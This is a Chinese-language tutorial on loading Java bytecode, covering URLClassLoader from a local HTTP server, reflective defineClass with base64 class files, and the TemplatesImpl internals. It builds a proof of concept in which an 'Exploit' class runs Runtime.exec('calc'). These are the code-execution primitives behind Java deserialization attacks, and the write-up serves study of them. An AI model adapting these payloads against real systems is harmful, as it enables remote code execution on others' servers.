Java加载字节码
加载字节码
字节码通常来说就是JVM可以识别的代码文件。
URLClassLoader加载字节码
正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
- URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
- URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
- URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类
这里可以启动一个http服务:
python -m http.server 80
在执行此命令的目录下放置编译好的class文件:
public class Exploit {
public Exploit() throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello");
}
static {
System.out.println("加载中");
}
}
然后在主程序执行:
import java.net.URL;
import java.net.URLClassLoader;
public class main {
public static void main(String[] args) throws Exception{
//利⽤ClassLoader加载远程字节码
URL[] urls = {new URL("http://127.0.0.1:80/")};
URLClassLoader classLoader = URLClassLoader.newInstance(urls);
Class c= classLoader.loadClass("Exploit");
c.newInstance();
}
}
加载过程
- 首先loadClass从已加载的类缓存、父加载器等位置寻找类,在前面没有找到的情况下,执行findClass
- findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
- defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类
这里将上面的class文件读取出来使用base64编码一下:
import base64
with open('Exploit.class','rb') as f:
code = base64.b64encode(f.read())
print(code.decode())
可以通过反射使用defineClass()
方法。
import java.lang.reflect.Method;
import java.util.Base64;
public class main {
public static void main(String[] args) throws Exception {
// 反射获取defineClass
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
//解码加载
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAXCgAYABkIABoKABgAGwkAHAAdCAAeCgAfACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACkV4Y2VwdGlvbnMHACQBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAsADAcAJQwAJgAnAQAEY2FsYwwAKAApBwAqDAArACwBAAVoZWxsbwcALQwALgAvAQAJ5Yqg6L295LitAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAkACgAAAAAAAgABAAsADAACAA0AAABMAAIAAQAAABYqtwABuAACEgO2AARXsgAFEga2AAexAAAAAgAOAAAAEgAEAAAAAgAEAAMADQAEABUABQAPAAAADAABAAAAFgAQABEAAAASAAAABAABABMACAAUAAwAAQANAAAAJQACAAAAAAAJsgAFEgi2AAexAAAAAQAOAAAACgACAAAACAAIAAkAAQAVAAAAAgAW");
Class Exploit = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Exploit", code, 0, code.length);
Exploit.newInstance();
}
}
TemplatesImpl加载字节码
在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个包中有一个内部类TransletClassLoader:
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
可以看到在这个内部类中是调用了defineClass方法的,可以逆向追踪到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的defineTransletClasses()
方法。
关键代码如下:
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
由上述代码可知_bytecodes
不能为空,而且需要传入二维数组。并且由于if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
这行代码,所以要求我们传入的字节码必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类(结合getTransletInstance()
方法一起看),所以Exploit改动一下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exploit extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Exploit() throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello");
}
}
继续跟踪到getTransletInstance()
:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
......
这里看到,defineTransletClasses()
方法调用完成后实例化加载的字节码。同时也能看出_name
不能为空,继续追踪到newTransformer()
:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
......
可以看到从这里就已经是public权限了,所以从这里开始构造一个poc:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class main {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Cristrik010");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
Field bytecodes = object.getClass().getDeclaredField(FieldName);
bytecodes.setAccessible(true);
bytecodes.set(object,data);
}
}